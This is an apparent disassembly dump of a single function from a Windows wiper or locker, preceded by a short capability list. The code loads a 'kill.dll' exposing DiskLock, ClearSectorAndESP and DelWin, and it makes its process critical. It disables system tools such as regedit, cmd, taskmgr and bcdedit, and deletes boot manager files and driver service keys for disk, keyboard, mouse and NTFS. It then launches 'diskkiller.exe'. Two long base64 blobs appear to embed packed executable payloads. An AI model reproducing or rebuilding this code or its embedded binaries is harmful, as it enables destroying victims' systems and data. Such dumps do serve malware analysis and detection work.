Function at 0x1400c7b30
Capabilities:
Create process on windows
Link many functions at runtime
Manipulate boot configuration
Self delete

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x168
lea rbx, [0x14015c180]
lea r12, [rbx + 0x80]
call fcn.14000f270
lea r14, [rsp + 0x50]
lea rsi, [rsp + 0x60]
lea rbp, [rsp + 0xc0]
lea rdi, [rsp + 0xd0]
mov rdx, qword [rbx + 0x20]
mov r8, qword [rbx + 0x28]
mov rcx, rbp
mov qword [rsp + 0xc0], rdi
add r8, rdx
call fcn.1400015f0
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
mov rcx, r14
mov qword [rsp + 0x50], rsi
add r8, rdx
call fcn.1400015f0
mov rdx, rbp
mov rcx, r14
call fcn.140005560
mov rcx, qword [rsp + 0x50]
cmp rcx, rsi
je 0x1400c7bc5
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 1]
call fcn.1400c6c00
mov rcx, qword [rsp + 0xc0]
cmp rcx, rdi
je 0x1400c7be3
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400c6c00
add rbx, 0x40
cmp rbx, r12
jne 0x1400c7b70
lea rcx, str.kill.dll
mov rdi, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DiskLock
mov r12, rax
mov rcx, rax
call r13
lea rdx, str.ClearSectorAndESP
mov rcx, r12
mov r15, rax
call r13
mov rcx, r12
lea rdx, str.DelWin
mov qword [rsp + 0x20], rax
call r13
mov ecx, 0x13
mov qword [rsp + 0x28], rax
xor eax, eax
rep stosq qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
test rax, rax
je 0x1400c7c8f
lea rdx, str.RtlSetProcessIsCritical
call r13
mov qword [0x14015c160], rax
test rax, rax
je 0x1400c7c8f
xor r8d, r8d
xor edx, edx
mov ecx, 1
call rax
lea rbx, [0x14015c040]
lea rdi, [rbx + 0x118]
nop dword [rax]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, r14
mov qword [rsp + 0x50], rsi
add r8, rdx
call fcn.1400015f0
mov ecx, dword [rbx]
mov r8d, 1
mov rdx, r14
call fcn.140003190
mov rcx, qword [rsp + 0x50]
cmp rcx, rsi
je 0x1400c7ce0
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 1]
call fcn.1400c6c00
add rbx, 0x28
cmp rdi, rbx
jne 0x1400c7ca0
lea rdx, str.NoViewOnDrive
mov rcx, r14
call fcn.140001550
mov r8d, 0x3ffffff
mov rdx, r14
mov ecx, 1
call fcn.140003190
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.NoDrives
mov rcx, r14
call fcn.140001550
mov r8d, 0x3ffffff
mov rdx, r14
mov ecx, 1
call fcn.140003190
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.regedit.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.reg.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.cmd.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.mmc.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.shutdown.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.taskkill.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.tasklist.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.explorer.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.taskmgr.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.bcdedit.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.bcdboot.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.control.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.diskpart.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.dism.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.diskperf.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.Netplwiz.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.resmon.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.rundll32.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.runas.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.svchost.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..msc
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.exefile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..bat
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.batfile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..cmd
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.cmdfile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..vbs
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..com
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..scr
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.comfile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.scrfile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str..sys
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, [0x1400cd310]
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.sysfile
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140001890
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.wininit.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.userinit.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.logoff.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.logonUI.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea rdx, str.wuauclt.exe
mov rcx, r14
call fcn.140001550
mov rcx, r14
call fcn.140002cf0
mov rcx, r14
call fcn.1400a6b60
lea r8, str.mouclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.mouhid
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.mountmgr
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.kbdclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.kbdhid
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea rcx, str.WindowsSystem32BootEFI_bootmgr.efi
call fcn.140002ca0
lea rcx, str.WindowsSystem32BootPCAT_bootmgr
call fcn.140002ca0
lea rcx, str.WindowsSystem32BootDVDEFI
call fcn.140002ca0
lea rcx, str.WindowsSystem32BootDVDPCAT
call fcn.140002ca0
lea rcx, str.WindowsSystem32System32Boot
call fcn.140002ca0
lea r8, str.MountedDevices
lea rdx, str.SYSTEM
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.disk
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.hidusb
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.hidclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.dd70bc80_ef44_421b_8ac3_cd31da613a4e
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWINEVTPublishers
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.ntfs
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, [0x1400cd4e9]
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.pciide
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.pciidex
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
lea r8, str.processr
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.140001750
call r15
mov rax, qword [rsp + 0x20]
call rax
call fcn.140002b50
call fcn.1400057f0
mov qword [rsp + 0x38], 0
mov ecx, 0x10
call fcn.1400c6c40
lea rdi, [0x14013a890]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov rdx, r14
mov qword [rax], rdi
mov rdi, qword [rsp + 0x28]
mov qword [rax + 8], rdi
lea rax, [rsp + 0x38]
mov rcx, rax
mov qword [rsp + 0x20], rax
call fcn.1400a5940
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400c843e
mov rax, qword [rcx]
call qword [rax + 8]
lea rdx, [rsp + 0x58]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, r14
movabs rax, 0x4000000070
mov qword [rsp + 0x50], rax
lea rax, str.diskkiller.exe
mov qword [rsp + 0x68], rax
lea rax, str.open
mov qword [rsp + 0x60], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea rbx, str.payloadClick
mov rsi, rbp
lea r14, [rsp + 0x48]
lea r15, [rsp + 0x40]
nop dword [rax]
mov rdx, qword [rbx]
mov rcx, r12
call r13
mov ecx, 0x10
mov rdi, rax
mov qword [rsp + 0x40], 0
call fcn.1400c6c40
lea rdx, [0x14013a890]
mov qword [rax + 8], rdi
xor r8d, r8d
mov rcx, r15
mov qword [rax], rdx
mov rdx, r14
mov qword [rsp + 0x48], rax
call fcn.1400a5940
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c84e8
mov rax, qword [rcx]
call qword [rax + 8]
cmp qword [rsi], 0
jne 0x1400c85b1
mov rax, qword [rsp + 0x40]
add rbx, 8
add rsi, 8
mov qword [rsi - 8], rax
lea rax, [0x1400ca0b8]
cmp rbx, rax
jne 0x1400c8498
lea rsi, [rbp + 0x98]
mov rbx, rbp
nop dword [rax]
mov rcx, rbx
call fcn.1400a59a0
add rbx, 8
cmp rsi, rbx
jne 0x1400c8520
mov rcx, qword [rsp + 0x20]
call fcn.1400a59a0
mov rax, qword [0x14015c160]
test rax, rax
je 0x1400c8550
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
cmp qword [rsp + 0x38], 0
jne 0x1400c85b1
lea rax, [rsp + 0x150]
jmp 0x1400c856b
mov rax, rdx
cmp qword [rax], 0
jne 0x1400c85b1
lea rdx, [rax - 8]
cmp rax, rbp
jne 0x1400c8568
xor eax, eax
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x158]
sub rax, 8
cmp qword [rax], 0
je 0x1400c8686
call fcn.1400c26e0
mov r12, rax
jmp 0x1400c85fa
mov rcx, r14
mov rbx, rax
call fcn.1400a6b60
jmp 0x1400c859b
mov rcx, rbp
call fcn.1400a6b60
mov rcx, r12
call fcn.1400109a0
jmp 0x1400c85c0
cmp rax, rbp
jne 0x1400c85a3
mov rcx, rbx
call fcn.1400109a0
nop
nop dword [rax + rax]
push r12
push rsi
push rbx
sub rsp, 0x20
lea rcx, [0x14015c220]
call fcn.1400bc560
lea rcx, [0x140001540]
call fcn.140001500
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea rcx, [0x14015c200]
call fcn.140001550
lea rcx, [0x140001720]
call fcn.140001500
lea rdx, str.kill.dll
lea rcx, [0x14015c180]
call fcn.140001550
lea rdx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACJvkGbzd8vyM3fL8jN3y_I2bQsycDfL8jZtCrJR98vyNm0K8nf3y_IbKgrycLfL8hsqCzJ3t8vyGyoKsns3y_I2bQuycbfL8jN3y7IRd8vyDoJsnM3y_IP6gvyczfL8g_qNDIzN8vyM3fuMjM3y_IP6gtyczfL8hSaWNozd8vyAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAP_M5GEAAAAAAAAAAOAAAiELAQ4eAMAAAAAQAAAA8BAA0KURAAAAEQAAwBEAAAAAEAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAADQEQAAEAAAAAAAAAMAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAAA4wREAsAIAAADAEQA4AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6MMRACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKixEQC8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAPAQAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAADAAAAAABEAALQAAAAEAAAAAAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAMARAAAGAAAAuAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy45NABVUFghDQkOCuNfGChqdjMhYYMRAMylAAAAngEAJgcANBoDACqi2YVkaYriKdvPuTL09ZkRhSKWoXupDWg70udrdYJTyAr5pJ5Ap68DI6zXU5JzuIMcN34tfozzsE_8Zix_1WfoObVWOc3Z5s7y1MkdeHLrW9b_NYLKIraU9iLyE1ezAzAlmewrPR915PgnZg4jOtj1rwMII2OWCmOXFF3SpyGt7xynVXMirUTuM2bQ5GYqv0nlOlSm34KK6qVuwpxq4l2KnINASg4SiETUWzgaBYGFQBXCB0XuAbqLFuARoRRwYexOrolH5_mk85Qq9ConKztCPH4mE9Wz4R9PkLxSBwLifSpaK6AkifT87ka877_NAsKUzZZCk1kIxw4qv2shjUZwZY9yQacjCAnAYe2wfVhqbPihAe2g8MakAgckB5KsZZOk4nJo67MjNfLn69fHsUahGQbEOAc1MtRCIPWLTmzTaj5t4DQIruEgoccPj3j4NGDPQHj2rkV5IpnDAkOFgAEkxhj4JV7js9gxAxl9C7n4iuaYjN8hX_51YZ4R5pcLFG9Op4985XIBjkuuxf17Ubv1HCRc5MbODUODNq4LVdwM1yaQtVqXSnjJHjLhMBikXlZgwLXhyVmeamR0b_8wA_8r3uNW6n6Lz4MzocbGa4XotlPc2d0BxOxqKT0iX5Lf1xOeBnSjqQ9FSPDvHRdRidi9MKwUsJOnba0BXM6kXI3LjBhkmiifSYz6jbd1WYx62VkSywj6oU8OYhYyJfhwZTQKp2v3ifrdnYJeuTjijlrLYXrlWFsSdqcdBnUIeLXbABcxS5J3_1oRLBDGRuTIDio93IhxhjL_5t0nFlwz5TYAxyM_5d_0oMIcCzHBy0Pjxihpfr580UcptlhgEXqbT0sb3WkXUbh7_i1oSIJcL26UfXYtOVnItC1GuCB6kX0mM3CxtJiJoR8jY6Unda96LbEsRWFrfYLTDRpDAfyQzrEvXm8pFXnu6GpKF0nIwnlTRqzzHYxeG6cf0gifDkY5oa0_Qm266fTfo3XTcNvwLsAQJC85MlinLJQSCkWVJEu5dWvMeibYDnfDF3Co_d_VbkjTZwlNl3XcNggpR8jNmVn5FYyG_1ZJ5C1Zc_hFhiiEjmBloVTych8JqJg6sWd85YcMsLjBfc_heP2ZNUMpJ0Xq34YYUditlc9ulMRWxYd8bIT2RFbkZXXPEVVPn6OLIUsZrOePHP4jBGx0uyuzNy6shmn82g83vmkrNWJ8oj6m0DG7kqZoTBKDyAAIF5LTbTRW0hWrQQJ6jJQbshqDoGD_n9vziSDBOaB9zqlmrdYIY_sR3_3TyuLnKTCybIMtxv7YS9jryRdjcelYGiu5RXuX5DCDBVuf1HvXNTPIMVbrSJLK1tw3oZRB8elu7cRMD_0Q6LsHNAhaNwiiD0ROMVFQfMXkw1cTbX7r733uEBHXv8kvAfMYCGMJDCHCSu06rC2VNwt6kKF_gIrZ4uuwsDDfPSQ5kUs95rMKlK3__XK9borqjzOBxo98Vk6igUgstdgdGQSxvzj9lXPAlKWF5OppCUqqXqSpjgamVPn98Jrs5f5yxPO7f65j74_qjDqE4aqYc2VVlUiLorgnsTw9qPME_iD8Y6x5LNSenTilsvIYEpbQxIb99y5fKrbc5dCOt1RgMieWT43X0PjIJwMiEKP7LeYP4TtJz0kn0zmbA8O6yjVThyeXWSmgVmSgTxKwcLzBJbAMrFbNRiLcDsrgumHc0_H_gZQI8TRqtaMscAGGHpdo6gxk7uLXYRNUFSZtrAxyyVf__39rqbFdiQWfl2nOkpm6ShviNGg_BfunDCZ6paARDKXkGFxNW6zfTkNEUhku4BBKbjgNBjs3s2b7f6kHDlACzAb91myyDD3QI9bLDI8dPPKDiHgb4WCVqto645dttQ5zzPAT9ir2ARbrPQUCM_vjWlIg51Rra_TXv3kpqKnzEMdbp63vMwhxGhn41yznQO2rxCoo_wBwYNfwZ4fAqWTHCPgndYX9GkxCzjsBVUt3S5iBJ2RehEj5pPGyVy4mZugnIhFNjNjuAvinQfk2Ehn0NG2Ydyvd82fg7BvKbbZTcMRAofvbIOnGch9gx9PesmpjwJwyFoIzH4PaNJaJrEubSun_VyEVWNlDr4tlIv7KLHk2DMC__wJL59i8Ko4o8RW4g_eIBtmpZuGk_Tyy1MMPblBFiVcTfFAs5gKzI1WWXkpJCnfGWWwvZKYRBFPmpefbXyLPzMSuFTij8ayddtRB3C3kaUoE8qTIHA4gv23Tkzyf25s29SN0sKG1OY4UjjYrpcIvuseYrDP1TjgxwoyVywYGe4Q3z4qoqaUxlSg0Izhd97O25XXCp1GtdixdZ9V8hqLlb29yBf_Wc6f1ideDtYUp6gIeGS4MDeoC4pP3g7T1r0EF6lnk7e1c9ivcKEe7amgGkZ_up139RU7xVWGPdWYax1nMwRQcgE86PU6QH3QsQkZtMGBV8J2S2CGmLuFXQSceG1UsS8XbJzxfMU5bSgiKdOIetXcaGajnv7ed1j9pmMwXZBDFn_yjbE4iiXfeL8nSbZNF15HMXqUujnnmpClD5M92xqJfmBB5WqrJQXHGUrwmrykZybSUT50C857azua_h8Ay3XeQm_BPEHdgwWnlJU4VO402jTIBzEeAa7R6rk4SPmv7vv0VtfpUyeueEwCVEdaSwz3ue9HZKTIBSF_lnIHb415T
lea rcx, [0x14015c1a0]
call fcn.140001550
lea rdx, str.diskkiller.exe
lea rcx, [0x14015c1c0]
call fcn.140001550
lea rdx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB3WduLMzi12DM4tdgzOLXYaFC22SY4tdhoULDZhDi12GhQsdkrOLXYFex2SI4tdj4V7bZKji12GhQs9kyOLXYFew2a04tdhoULTZPji12DM4tNieOLXY9Vew2RY4tdi1SLzZOji12LVIStgyOLXYtUi32TI4tdhSaWNoMzi12AAAAAAAAAAAAAAAAAAAAABQRQAATAEDACOaE18AAAAAAAAAAOAAAgELAQ4aANADAAAQAAAAEAcA0NYKAAAgBwAA8AoAAABAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAAAACwAAEAAAAAAAAAMAQIEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAADwCgDoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6PAKACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB84goAGAAAAJziCgC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAABAHAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAADQAwAAIAcAAMQDAAAEAAAAAAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAPAKAAACAAAAyAMAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy45NABVUFghDQkOCpMRNhBDqVUVabsKAMe2AwAAYgoAJhEA2BoDAFyKAaTg29oVQbfOdpRjNkd71vUgCPsrlAA5d4_1xCBK2RQpduppG50rIiNHhfzrE9QaVTVribgQT9cTw41YgTfsExP8PcYQyyzlIVZGdWmjfFgRJmgWIM0r0MN96WUQStZllPkKzioBE9STVWedqKHWJxhI8eN6b91uQKZZgro0Kt6gzvwr_Ia2rIJZANkRj7XIjX8lThg5N321rX_gXGfLiVzkgfaW3MWLjddd1eVx70rPvTVN7YbCGBkVP2XR5JPsX3n6rBb0a2qsMNrMUBcQjpy1Q_Pe6TomdvtCYMzcx5HUbfi4WTbsa2NpgYJsG7Y4ITrGZeQn72_eRqlwF70taISMA0n5xk8jazODEM_QYiRelhPhlDMtrxS66DoBZvOjQWxFAdQIKtdyzV8rPyQCahiQNfSbOBRfS_7VbmlVjqAD1amaTBAxyZA9uKPGSQ5WQeBvf3WOztCD8gzJoWroUwSblht_qP8yRLp4RYj1JTH5773HCRVklPjf360dNWtmoe3NUVN1svQqfdBej3uVUGRsFGZpd5nspHGnWseVdZmKbx0oxSc0NS07BlMVqCxZFbe2BPOiJX8_ik5vH6vH4B2iiurWtQtYejX0er67swnXpHV68VuA5YSM_OlKoY2alfAJq3Ir50bfNTQrowEd2cxbq5FQHHR9R11D_1Vv3HUZ_KE524iJoLgD8U1Z0AyDa83Y6KjWuG_srw_D1Ry8l6IRA6zDx4A4YvGLOcO7IFU46pXpGdY68UDMFccJHMq9jG2doF2OAue_BLUqYmr4JELbqM9eckmrY5COVwvo3wZfXWhK2ARaq5OepOxjPHUZqmjAA8EOu61T0ei9PyrrAhRnQfaziEi0XiI9Fk2_AfwOH0bCJkvseVJmEGvr4FGNW_31ZVqwnA_pZUMZT6y9DGfJXce7VYpH6JPrZmV66n5U51OUPwcAj0dBO85bHzsENlIB_06p0Fw3tpQis1jPHbTWPa3TKZOnLquxVJAfRucEhdEopNwSCH2R4whAk1tok713n0RFOivBpBKf_4BpwxVsSf7XK_JcVAyXYlNfhfZEEczXI8tArvS6eRnVg4WIQivvIchOKDEwwjfnSCjmpq8P3uvh7IDlg3MNShwAJj3C6XI4mgX83vQNKBbs_8lb31BJ3z4F5muqSQM34uEF1Wb9JX3c5_ikuBGH9nw0RFSNxl2TKAQUe844NXIYlDuumVrCN5QXp7e9sxHXeykxyHJ_DTMYaaFg57hL5odTRPnnXF0Kcxeitxh4DEZUV5yYS322hXUVuFHkpujWJOKfa9odqBQdXLEqX3_tg9Fvg_MAzrXxJofi1jRhQG2Pmm03Az31EwjUo31vHSx2oqhyhg3wCB0WLAryDc26ubdNeH8uYtCSWQr2bB12q2x4TmRj9jOxH0zWZEpCyMHk15ZsVX1lrZlQxHIQCpKeYVffm9tUK1CYvDKrXbsOj7HLA3RaRJNM6EgNqdEeGoeoULw1z4z1NS77K8qpWLwnZBUl_mOstkMGW1Fu67VJv1spOKQhCnaA_HnNvk6goCD8YCNkRj1F8W7SiWOP_ng8Xe4ifSt5Q9daa1I89YYDO4ucW5Ko05tGHxn0IVtmIXkGuVHSTEJlE7Muqjzdh2RPBJNPTT_uEFKJytzUmxNV7Cv9QIesLGZtHpdH2OYCd1V2huCdGmwyPIJrY3zQLW5Wl05SUcsHkNSme2T6rVkMsOiNeVTrM0fUhCAk0W_LaJ_MdTG3jIVZUMRN7vuHOo2qD9lMKpJgpNMoMy_SU7aX5e1AM42gb5yeyINb15baduZg3mV5Jkh2YbHXqIzLQoifnH9nUp9WEIbw3Pn8nTRg3LN8EurTuhGX79aqztRVo5x8nu1wIYhejwg1U0tx67UFaSqiKlgy_tWzDHnn8ze58ZyaVBx0CQ8aim764OeJo92kquRt1mycresu_cxthuzcm3zNGITgWtqwhzaUFseBJ9GIG5TQM2miqfYqsPEo_8oDQ66Vc70xPnUHCSc_pNpPG46lYeiHgpfQmVLTr2wXH6ZI2j7UN3S85ANliP1d0UGcyYtJwf5frVc8FXdevvDxDR1dLXqYlU7aNwKDGyqJaht6PVRZv9HcmRTD5bLpdqgWo8JMF3mEysmkKwCISjFKbM3CLP46dSLBIW4TU2Lv7E23q9Qs1HsQO8RhkZmUZGzUgK_XWuV0HwH9tKUWfVR7PhhHwABZIA4DJEFWPEnA68VNJDh2T8tkVD09orrZ8QIdinz05ifqaWTb4Zz6rDgNkeKiuL4qpy7TegMlDkFGnTXhszHHN5Emji4VfFgWv6fvy_zeyyHevvvoLDLIIBKiqiO4qUy1Zsn7M_ODDSTCq8LEoGp1fSU_4cheh9XfOLrXsyF8IDw9deIzmvy0dfp5uH5C6ozlmLH5_zJl5Jkqd2A37DOCVx1No0n2dZrzK_3Gld2KJtv_CFglb66WeYqmB20jYfj29vP3_Ca2jqZ9jXvl5FjeHvJplBdsYtx2MT8IfgCNJGY